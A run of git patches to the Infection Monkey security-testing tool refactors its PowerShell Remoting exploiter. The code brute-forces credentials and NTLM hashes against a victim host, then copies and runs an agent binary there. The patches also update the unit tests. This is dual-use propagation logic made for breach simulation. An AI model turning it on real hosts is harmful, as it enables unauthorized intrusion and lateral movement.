mock_client.return_value.copy_file.call_args[0][1] + assert DROPPER_TARGET_PATH_64 in mock_client.return_value.copy_file.call_args[0][1] assert success def test_failed_copy(monkeypatch, powershell_exploiter): mock_client = MagicMock() - mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32 mock_client.return_value.copy_file = MagicMock(return_value=False) monkeypatch.setattr(powershell, "PowerShellClient", mock_client) @@ -145,7 +138,6 @@ def test_failed_copy(monkeypatch, powershell_exploiter): def test_failed_monkey_execution(monkeypatch, powershell_exploiter): mock_client = MagicMock() - mock_client.get_host_architecture = lambda: WIN_ARCH_32 mock_client.copy_file = MagicMock(return_value=True) mock_client.execute_cmd_as_detached_process = MagicMock(side_effect=Exception) @@ -158,7 +150,6 @@ def test_failed_monkey_execution(monkeypatch, powershell_exploiter): def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter): mock_client = MagicMock() - mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32 mock_client.return_value.copy_file = MagicMock(return_value=True) # execute_cmd method will throw exceptions for 5 first calls. From fbfe229cf197a7401641f70a59dcaf703206c691 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 11 Mar 2022 19:28:32 +0530 Subject: [PATCH 0726/1110] Agent: Remove Windows arch constants --- monkey/infection_monkey/exploit/consts.py | 3 --- 1 file changed, 3 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/consts.py diff --git a/monkey/infection_monkey/exploit/consts.py b/monkey/infection_monkey/exploit/consts.py deleted file mode 100644 index e74c7786c..000000000 --- a/monkey/infection_monkey/exploit/consts.py +++ /dev/null @@ -1,3 +0,0 @@ -# Constants used to refer to windows architectures -WIN_ARCH_32 = "32" -WIN_ARCH_64 = "64" From 399a34461968e0d77cbe8197c44e9f7ae59cfe57 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 11 Mar 2022 19:57:45 +0530 Subject: [PATCH 0727/1110] Agent: Fix function arguments in HTTPTools --- monkey/infection_monkey/exploit/tools/http_tools.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 43d62862f..cbe0f8f66 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -16,9 +16,11 @@ logger = logging.getLogger(__name__) class HTTPTools(object): @staticmethod - def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None): + def try_create_locked_transfer( + host, src_path, agent_repository, local_ip=None, local_port=None + ): http_path, http_thread = HTTPTools.create_locked_transfer( - host, src_path, local_ip, local_port + host, src_path, agent_repository, local_ip, local_port ) if not http_path: raise Exception("Http transfer creation failed.") @@ -33,6 +35,7 @@ class HTTPTools(object): Create http server for file transfer with a lock :param host: Variable with target's information :param src_path: Monkey's path on current system + :param agent_repository: Repository to download Monkey agents :param local_ip: IP where to host server :param local_port: Port at which to host monkey's download :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler From 7d2f9251e796fa38a2ac20d39468d634c473337f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 11 Mar 2022 22:04:53 +0530 Subject: [PATCH 0728/1110] Agent: Use agent repository in PowerShell exploiter And create a temporary local file for the agent binary so that pypsrp.Client can copy it to the victim --- monkey/infection_monkey/exploit/powershell.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 4e48df891..c4e2885e3 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -161,7 +161,7 @@ class PowerShellExploiter(HostExploiter): def _copy_monkey_binary_to_victim(self, monkey_path_on_victim) -> bool: try: - self._write_virtual_file_to_local_path() + self._create_local_agent_file() logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") is_monkey_copy_successful = self._client.copy_file( @@ -175,6 +175,11 @@ class PowerShellExploiter(HostExploiter): return is_monkey_copy_successful + def _create_local_agent_file(self): + agent_binary_bytes = self.agent_repository.get_agent_binary("windows") + with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as f: + f.write(agent_binary_bytes.getvalue()) + def _write_virtual_file_to_local_path(self) -> None: """ # TODO: monkeyfs has been removed. Fix this in issue #1740. From d1e29ed66ef25fbaa4c24b7319223f3e2c7190ad Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 11 Mar 2022 19:01:47 +0100 Subject: [PATCH 0729/1110] Agent: Return ExploitResultData in Powershell exploit --- monkey/infection_monkey/exploit/powershell.py | 27 ++++++++----------- 1 file changed, 11 insertions(+), 16 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index c4e2885e3..74d381bff 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -39,8 +39,8 @@ class PowerShellExploiter(HostExploiter): EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)" - def __init__(self, host: VictimHost): - super().__init__(host) + def __init__(self): + super().__init__() self._client = None def _exploit_host(self): @@ -48,7 +48,7 @@ class PowerShellExploiter(HostExploiter): use_ssl = self._is_client_using_https() except PowerShellRemotingDisabledError as e: logging.info(e) - return False + return self.exploit_result credentials = get_credentials( self.options["credentials"]["exploit_user_list"], @@ -57,13 +57,19 @@ class PowerShellExploiter(HostExploiter): self.options["credentials"]["exploit_ntlm_hash_list"], is_windows_os(), ) + auth_options = [get_auth_options(creds, use_ssl) for creds in credentials] self._client = self._authenticate_via_brute_force(credentials, auth_options) if not self._client: - return False + return self.exploit_result - return self._execute_monkey_agent_on_victim() + result_execution = self._execute_monkey_agent_on_victim() + + self.exploit_result.exploitation_success = result_execution + self.exploit_result.propagation_success = result_execution + + return self.exploit_result def _is_client_using_https(self) -> bool: try: @@ -180,17 +186,6 @@ class PowerShellExploiter(HostExploiter): with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as f: f.write(agent_binary_bytes.getvalue()) - def _write_virtual_file_to_local_path(self) -> None: - """ - # TODO: monkeyfs has been removed. Fix this in issue #1740. - monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit) - - with monkeyfs.open(monkey_fs_path) as monkey_virtual_file: - with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file: - monkey_local_file.write(monkey_virtual_file.read()) - """ - pass - def _run_monkey_executable_on_victim(self, executable_path) -> None: monkey_execution_command = build_monkey_execution_command( self.host, get_monkey_depth() - 1, executable_path From 8d9aa9890b1a7448e8901902d773ec9986482335 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 11 Mar 2022 19:02:41 +0100 Subject: [PATCH 0730/1110] UT: Add arguments and return exploit result data to PowerShell exploit --- .../exploit/test_powershell.py | 89 +++++++++---------- 1 file changed, 44 insertions(+), 45 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 73ab7b7bc..742f33f56 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -1,4 +1,3 @@ -from collections import namedtuple from unittest.mock import MagicMock import pytest @@ -15,57 +14,57 @@ USER_LIST = ["user1", "user2"] PASSWORD_LIST = ["pass1", "pass2"] LM_HASH_LIST = ["bogo_lm_1"] NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"] -DROPPER_TARGET_PATH_32 = "C:\\agent32" DROPPER_TARGET_PATH_64 = "C:\\agent64" -Config = namedtuple( - "Config", - [ - "exploit_user_list", - "exploit_password_list", - "exploit_lm_hash_list", - "exploit_ntlm_hash_list", - "dropper_target_path_win_64", - ], -) - class AuthenticationErrorForTests(Exception): pass +@pytest.fixture +def powershell_arguments(): + options = { + "dropper_target_path_win_64": DROPPER_TARGET_PATH_64, + "credentials": { + "exploit_user_list": USER_LIST, + "exploit_password_list": PASSWORD_LIST, + "exploit_lm_hash_list": LM_HASH_LIST, + "exploit_ntlm_hash_list": NT_HASH_LIST, + }, + } + arguments = { + "host": VictimHost("127.0.0.1"), + "options": options, + "current_depth": 2, + "telemetry_messenger": MagicMock(), + "agent_repository": MagicMock(), + } + return arguments + + @pytest.fixture def powershell_exploiter(monkeypatch): - host = VictimHost("127.0.0.1") - pe = powershell.PowerShellExploiter(host) - pe._config = Config( - USER_LIST, - PASSWORD_LIST, - LM_HASH_LIST, - NT_HASH_LIST, - DROPPER_TARGET_PATH_32, - DROPPER_TARGET_PATH_64, - ) + pe = powershell.PowerShellExploiter() monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests) monkeypatch.setattr(powershell, "is_windows_os", lambda: True) # It's regrettable to mock out a private method on the PowerShellExploiter instance object, but # it's necessary to avoid having to deal with the monkeyfs. TODO: monkeyfs has been removed, so # fix this. - monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None) + # monkeypatch.setattr(pe, "_create_local_agent_file", lambda: None) return pe -def test_powershell_disabled(monkeypatch, powershell_exploiter): +def test_powershell_disabled(monkeypatch, powershell_exploiter, powershell_arguments): mock_powershell_client = MagicMock(side_effect=Exception) monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) - success = powershell_exploiter.exploit_host() - assert not success + exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) + assert not exploit_result.exploitation_success -def test_powershell_http(monkeypatch, powershell_exploiter): +def test_powershell_http(monkeypatch, powershell_exploiter, powershell_arguments): def allow_http(_, credentials: Credentials, auth_options: AuthOptions): if not auth_options.ssl: raise AuthenticationErrorForTests @@ -74,13 +73,13 @@ def test_powershell_http(monkeypatch, powershell_exploiter): mock_powershell_client = MagicMock(side_effect=allow_http) monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) - powershell_exploiter.exploit_host() + powershell_exploiter.exploit_host(**powershell_arguments) for call_args in mock_powershell_client.call_args_list: assert not call_args[0][2].ssl -def test_powershell_https(monkeypatch, powershell_exploiter): +def test_powershell_https(monkeypatch, powershell_exploiter, powershell_arguments): def allow_https(_, credentials: Credentials, auth_options: AuthOptions): if auth_options.ssl: raise AuthenticationErrorForTests @@ -89,19 +88,19 @@ def test_powershell_https(monkeypatch, powershell_exploiter): mock_powershell_client = MagicMock(side_effect=allow_https) monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) - powershell_exploiter.exploit_host() + powershell_exploiter.exploit_host(**powershell_arguments) for call_args in mock_powershell_client.call_args_list: if call_args[0][1].secret != "" and call_args[0][1].secret != "dummy_password": assert call_args[0][2].ssl -def test_no_valid_credentials(monkeypatch, powershell_exploiter): +def test_no_valid_credentials(monkeypatch, powershell_exploiter, powershell_arguments): mock_powershell_client = MagicMock(side_effect=AuthenticationErrorForTests) monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) - success = powershell_exploiter.exploit_host() - assert not success + exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) + assert not exploit_result.exploitation_success def authenticate(mock_client): @@ -114,29 +113,29 @@ def authenticate(mock_client): return inner -def test_successful_copy(monkeypatch, powershell_exploiter): +def test_successful_copy(monkeypatch, powershell_exploiter, powershell_arguments): mock_client = MagicMock() mock_client.return_value.copy_file = MagicMock(return_value=True) monkeypatch.setattr(powershell, "PowerShellClient", mock_client) - success = powershell_exploiter.exploit_host() + exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) assert DROPPER_TARGET_PATH_64 in mock_client.return_value.copy_file.call_args[0][1] - assert success + assert exploit_result.exploitation_success -def test_failed_copy(monkeypatch, powershell_exploiter): +def test_failed_copy(monkeypatch, powershell_exploiter, powershell_arguments): mock_client = MagicMock() mock_client.return_value.copy_file = MagicMock(return_value=False) monkeypatch.setattr(powershell, "PowerShellClient", mock_client) - success = powershell_exploiter.exploit_host() - assert not success + exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) + assert not exploit_result.exploitation_success -def test_failed_monkey_execution(monkeypatch, powershell_exploiter): +def test_failed_monkey_execution(monkeypatch, powershell_exploiter, powershell_arguments): mock_client = MagicMock() mock_client.copy_file = MagicMock(return_value=True) mock_client.execute_cmd_as_detached_process = MagicMock(side_effect=Exception) @@ -144,11 +143,11 @@ def test_failed_monkey_execution(monkeypatch, powershell_exploiter): mock_powershell_client = MagicMock(side_effect=authenticate(mock_client)) monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) - success = powershell_exploiter.exploit_host() - assert not success + exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) + assert not exploit_result.exploitation_success -def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter): +def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter, powershell_arguments): mock_client = MagicMock() mock_client.return_value.copy_file = MagicMock(return_value=True) @@ -159,7 +158,7 @@ def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter): monkeypatch.setattr(powershell, "PowerShellClient", mock_client) - powershell_exploiter.exploit_host() + powershell_exploiter.exploit_host(**powershell_arguments) # Total 6 attempts reported, 5 failed and 1 succeeded assert len(powershell_exploiter.exploit_attempts) == len(execute_cmd_returns) From 4f0e690a7f480e657f39781e9fa6efa9b06059a2 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 14 Mar 2022 16:37:24 +0530 Subject: [PATCH 0731/1110] UT: Mock `open()` in PowerShellExploiter tests instead of using `monkeyfs` --- .../unit_tests/infection_monkey/exploit/test_powershell.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 742f33f56..1883e6734 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -48,10 +48,7 @@ def powershell_exploiter(monkeypatch): monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests) monkeypatch.setattr(powershell, "is_windows_os", lambda: True) - # It's regrettable to mock out a private method on the PowerShellExploiter instance object, but - # it's necessary to avoid having to deal with the monkeyfs. TODO: monkeyfs has been removed, so - # fix this. - # monkeypatch.setattr(pe, "_create_local_agent_file", lambda: None) + monkeypatch.setattr("builtins.open", lambda _, __: MagicMock()) return pe From 7321eaf2c1ea9033cd4d6b88cb682987b1cb8c78 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 14 Mar 2022 10:15:33 -0400 Subject: [PATCH 0732/1110] Agent: Improve handling of copy/execute errors in PowerShellExploiter --- monkey/infection_monkey/exploit/powershell.py | 78 ++++++++++++------- .../powershell_utils/powershell_client.py | 7 +- .../exploit/test_powershell.py | 9 ++- 3 files changed, 56 insertions(+), 38 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 74d381bff..29120b478 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -34,6 +34,14 @@ class PowerShellRemotingDisabledError(Exception): pass +class RemoteAgentCopyError(Exception): + pass + + +class RemoteAgentExecutionError(Exception): + pass + + class PowerShellExploiter(HostExploiter): _TARGET_OS_TYPE = ["windows"] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE @@ -48,6 +56,7 @@ class PowerShellExploiter(HostExploiter): use_ssl = self._is_client_using_https() except PowerShellRemotingDisabledError as e: logging.info(e) + # TODO: Set error message return self.exploit_result credentials = get_credentials( @@ -62,12 +71,18 @@ class PowerShellExploiter(HostExploiter): self._client = self._authenticate_via_brute_force(credentials, auth_options) if not self._client: + # TODO: Set error message return self.exploit_result - result_execution = self._execute_monkey_agent_on_victim() - - self.exploit_result.exploitation_success = result_execution - self.exploit_result.propagation_success = result_execution + try: + self._execute_monkey_agent_on_victim() + self.exploit_result.propagation_success = True + self.exploit_result.exploitation_success = True + except Exception as ex: + logger.error(f"Failed to propagate to the remote host: {ex}") + self.exploit_result.error_message = str(ex) + self.exploit_result.propagation_success = False + self.exploit_result.exploitation_success = False return self.exploit_result @@ -109,6 +124,7 @@ class PowerShellExploiter(HostExploiter): encryption=ENCRYPTION_AUTO, ssl=use_ssl, ) + # TODO: Report login attempt PowerShellClient(self.host.ip_addr, credentials, auth_options) @@ -116,9 +132,15 @@ class PowerShellExploiter(HostExploiter): self, credentials: List[Credentials], auth_options: List[AuthOptions] ) -> Optional[IPowerShellClient]: for (creds, opts) in zip(credentials, auth_options): - client = PowerShellClient(self.host.ip_addr, creds, opts) - if self._is_client_auth_valid(creds, client): - return client + try: + client = PowerShellClient(self.host.ip_addr, creds, opts) + if self._is_client_auth_valid(creds, client): + return client + except Exception as ex: + logger.warning( + "An unexpected error occurred while trying to authenticate " + f"to {self.host.ip_addr}: {ex}" + ) return None @@ -152,41 +174,37 @@ class PowerShellExploiter(HostExploiter): else: raise ValueError(f"Unknown secret type {credentials.secret_type}") - def _execute_monkey_agent_on_victim(self) -> bool: + def _execute_monkey_agent_on_victim(self): monkey_path_on_victim = self.options["dropper_target_path_win_64"] - is_monkey_copy_successful = self._copy_monkey_binary_to_victim(monkey_path_on_victim) - if is_monkey_copy_successful: - logger.info("Successfully copied the monkey binary to the victim.") - self._run_monkey_executable_on_victim(monkey_path_on_victim) - else: - logger.error("Failed to copy the monkey binary to the victim.") - return False + self._copy_monkey_binary_to_victim(monkey_path_on_victim) + logger.info("Successfully copied the monkey binary to the victim.") - return True - - def _copy_monkey_binary_to_victim(self, monkey_path_on_victim) -> bool: try: - self._create_local_agent_file() - - logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") - is_monkey_copy_successful = self._client.copy_file( - TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim - ) + self._run_monkey_executable_on_victim(monkey_path_on_victim) except Exception as ex: - raise ex + raise RemoteAgentExecutionError( + f"Failed to execute the agent binary on the victim: {ex}" + ) + + def _copy_monkey_binary_to_victim(self, monkey_path_on_victim): + self._create_local_agent_file(TEMP_MONKEY_BINARY_FILEPATH) + + try: + logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") + self._client.copy_file(TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim) + except Exception as ex: + raise RemoteAgentCopyError(f"Failed to copy the agent binary to the victim: {ex}") finally: if os.path.isfile(TEMP_MONKEY_BINARY_FILEPATH): os.remove(TEMP_MONKEY_BINARY_FILEPATH) - return is_monkey_copy_successful - - def _create_local_agent_file(self): + def _create_local_agent_file(self, binary_path): agent_binary_bytes = self.agent_repository.get_agent_binary("windows") - with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as f: + with open(binary_path, "wb") as f: f.write(agent_binary_bytes.getvalue()) - def _run_monkey_executable_on_victim(self, executable_path) -> None: + def _run_monkey_executable_on_victim(self, executable_path): monkey_execution_command = build_monkey_execution_command( self.host, get_monkey_depth() - 1, executable_path ) diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index f3f65deb9..7993687de 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -87,16 +87,13 @@ class PowerShellClient(IPowerShellClient): output, _, _ = self._client.execute_cmd(cmd) return output - def copy_file(self, src: str, dest: str) -> bool: + def copy_file(self, src: str, dest: str): try: self._client.copy(src, dest) logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}") - - return True except Exception as ex: logger.error(f"Failed to copy {src} to {dest} on {self._ip_addr}: {ex}") - - return False + raise ex def execute_cmd_as_detached_process(self, cmd: str): logger.debug( diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 1883e6734..f039f6d9c 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -124,7 +124,7 @@ def test_successful_copy(monkeypatch, powershell_exploiter, powershell_arguments def test_failed_copy(monkeypatch, powershell_exploiter, powershell_arguments): mock_client = MagicMock() - mock_client.return_value.copy_file = MagicMock(return_value=False) + mock_client.return_value.copy_file = MagicMock(side_effect=Exception("COPY FAILED")) monkeypatch.setattr(powershell, "PowerShellClient", mock_client) @@ -135,13 +135,16 @@ def test_failed_copy(monkeypatch, powershell_exploiter, powershell_arguments): def test_failed_monkey_execution(monkeypatch, powershell_exploiter, powershell_arguments): mock_client = MagicMock() mock_client.copy_file = MagicMock(return_value=True) - mock_client.execute_cmd_as_detached_process = MagicMock(side_effect=Exception) + mock_client.execute_cmd_as_detached_process = MagicMock( + side_effect=Exception("EXECUTION FAILED") + ) mock_powershell_client = MagicMock(side_effect=authenticate(mock_client)) monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) - assert not exploit_result.exploitation_success + # assert exploit_result.exploitation_success is True + assert exploit_result.propagation_success is False def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter, powershell_arguments): From f99053f3b478920f2ab552f00534250fa372ca8c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 14 Mar 2022 10:17:45 -0400 Subject: [PATCH 0733/1110] Agent: Add missing __init__.py to powershell_utils/ --- monkey/infection_monkey/exploit/powershell_utils/__init__.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 monkey/infection_monkey/exploit/powershell_utils/__init__.py diff --git a/monkey/infection_monkey/exploit/powershell_utils/__init__.py b/monkey/infection_monkey/exploit/powershell_utils/__init__.py new file mode 100644 index 000000000..e69de29bb From df572d84c06f7a3c2562a372f34bc6baabe98371 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 14 Mar 2022 10:27:52 -0400 Subject: [PATCH 0734/1110] Agent: Set self.exploit_result.error_message in PowerShellExploiter --- monkey/infection_monkey/exploit/powershell.py | 8 ++++++-- .../infection_monkey/exploit/test_powershell.py | 4 ++++ 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 29120b478..7466a115e 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -56,7 +56,9 @@ class PowerShellExploiter(HostExploiter): use_ssl = self._is_client_using_https() except PowerShellRemotingDisabledError as e: logging.info(e) - # TODO: Set error message + self.exploit_result.error_message = ( + "PowerShell Remoting appears to be disabled on the remote host" + ) return self.exploit_result credentials = get_credentials( @@ -71,7 +73,9 @@ class PowerShellExploiter(HostExploiter): self._client = self._authenticate_via_brute_force(credentials, auth_options) if not self._client: - # TODO: Set error message + self.exploit_result.error_message = ( + "Unable to authenticate to the remote host using any of the available credentials" + ) return self.exploit_result try: diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index f039f6d9c..de1fa265a 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -59,6 +59,7 @@ def test_powershell_disabled(monkeypatch, powershell_exploiter, powershell_argum exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) assert not exploit_result.exploitation_success + assert "disabled" in exploit_result.error_message def test_powershell_http(monkeypatch, powershell_exploiter, powershell_arguments): @@ -98,6 +99,7 @@ def test_no_valid_credentials(monkeypatch, powershell_exploiter, powershell_argu exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) assert not exploit_result.exploitation_success + assert "Unable to authenticate" in exploit_result.error_message def authenticate(mock_client): @@ -130,6 +132,7 @@ def test_failed_copy(monkeypatch, powershell_exploiter, powershell_arguments): exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) assert not exploit_result.exploitation_success + assert "copy" in exploit_result.error_message def test_failed_monkey_execution(monkeypatch, powershell_exploiter, powershell_arguments): @@ -145,6 +148,7 @@ def test_failed_monkey_execution(monkeypatch, powershell_exploiter, powershell_a exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) # assert exploit_result.exploitation_success is True assert exploit_result.propagation_success is False + assert "execute" in exploit_result.error_message def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter, powershell_arguments): From 3b094d0478e813a1a5b9d2cf94cf3c5dbedc3f41 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 14 Mar 2022 12:11:28 -0400 Subject: [PATCH 0735/1110] Agent: Move test for successful login to PowerShellClient The current powershell client does not alert the caller that login was unsuccessful until an attempt is made to execute a command. This is likely a detail that is specific to the underlying pypsrp. This detail should be abstracted away from the PowerShellExploiter so that the PowerShellExploiter is not dealing with implementation details of the PowerShellClient. --- monkey/infection_monkey/exploit/powershell.py | 40 ++++++------------- .../powershell_utils/powershell_client.py | 4 ++ .../exploit/test_powershell.py | 37 +++++++---------- 3 files changed, 32 insertions(+), 49 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 7466a115e..e8999545a 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -128,7 +128,7 @@ class PowerShellExploiter(HostExploiter): encryption=ENCRYPTION_AUTO, ssl=use_ssl, ) - # TODO: Report login attempt + # TODO: Report login attempt or find a better way of detecting if SSL is enabled PowerShellClient(self.host.ip_addr, credentials, auth_options) @@ -138,36 +138,22 @@ class PowerShellExploiter(HostExploiter): for (creds, opts) in zip(credentials, auth_options): try: client = PowerShellClient(self.host.ip_addr, creds, opts) - if self._is_client_auth_valid(creds, client): - return client - except Exception as ex: - logger.warning( - "An unexpected error occurred while trying to authenticate " - f"to {self.host.ip_addr}: {ex}" + logger.info( + f"Successfully logged into {self.host.ip_addr} using Powershell. User: " + f"{creds.username}, Secret Type: {creds.secret_type.name}" ) + self._report_login_attempt(True, creds) + return client + except Exception as ex: + logger.debug( + f"Error logging into {self.host.ip_addr} using Powershell. User: " + f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}" + ) + self._report_login_attempt(False, creds) + return None - def _is_client_auth_valid(self, creds: Credentials, client: IPowerShellClient) -> bool: - try: - # attempt to execute dir command to know if authentication was successful - client.execute_cmd("dir") - - logger.info( - f"Successfully logged into {self.host.ip_addr} using Powershell. User: " - f"{creds.username}, Secret Type: {creds.secret_type.name}" - ) - self._report_login_attempt(True, creds) - - return True - except Exception as ex: # noqa: F841 - logger.debug( - f"Error logging into {self.host.ip_addr} using Powershell. User: " - f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}" - ) - self._report_login_attempt(False, creds) - return False - def _report_login_attempt(self, result: bool, credentials: Credentials): if credentials.secret_type in [SecretType.PASSWORD, SecretType.CACHED]: self.report_login_attempt(result, credentials.username, password=credentials.secret) diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index 7993687de..82c073ff2 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -83,6 +83,10 @@ class PowerShellClient(IPowerShellClient): connection_timeout=CONNECTION_TIMEOUT, ) + # Attempt to execute dir command to know if authentication was successful. This will raise + # an exception if authentication was not successful. + self.execute_cmd("dir") + def execute_cmd(self, cmd: str) -> str: output, _, _ = self._client.execute_cmd(cmd) return output diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index de1fa265a..5af0dd617 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -114,7 +114,6 @@ def authenticate(mock_client): def test_successful_copy(monkeypatch, powershell_exploiter, powershell_arguments): mock_client = MagicMock() - mock_client.return_value.copy_file = MagicMock(return_value=True) monkeypatch.setattr(powershell, "PowerShellClient", mock_client) @@ -137,7 +136,6 @@ def test_failed_copy(monkeypatch, powershell_exploiter, powershell_arguments): def test_failed_monkey_execution(monkeypatch, powershell_exploiter, powershell_arguments): mock_client = MagicMock() - mock_client.copy_file = MagicMock(return_value=True) mock_client.execute_cmd_as_detached_process = MagicMock( side_effect=Exception("EXECUTION FAILED") ) @@ -151,29 +149,24 @@ def test_failed_monkey_execution(monkeypatch, powershell_exploiter, powershell_a assert "execute" in exploit_result.error_message -def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter, powershell_arguments): - mock_client = MagicMock() - mock_client.return_value.copy_file = MagicMock(return_value=True) - - # execute_cmd method will throw exceptions for 5 first calls. - # 6-th call doesn't throw an exception == credentials successful - execute_cmd_returns = [Exception, Exception, Exception, Exception, Exception, True] - mock_client.return_value.execute_cmd = MagicMock(side_effect=execute_cmd_returns) - +def test_login_attempts_correctly_reported(monkeypatch, powershell_exploiter, powershell_arguments): + # 1st call is for determining HTTP/HTTPs. 6 remaining calls are actual login attempts. the 6th + # login attempt doesn't throw an exception, signifying that login with credentials was + # successful. + connection_attempts = [True, Exception, Exception, Exception, Exception, Exception, True] + mock_client = MagicMock(side_effect=connection_attempts) monkeypatch.setattr(powershell, "PowerShellClient", mock_client) - powershell_exploiter.exploit_host(**powershell_arguments) + exploit_result = powershell_exploiter.exploit_host(**powershell_arguments) - # Total 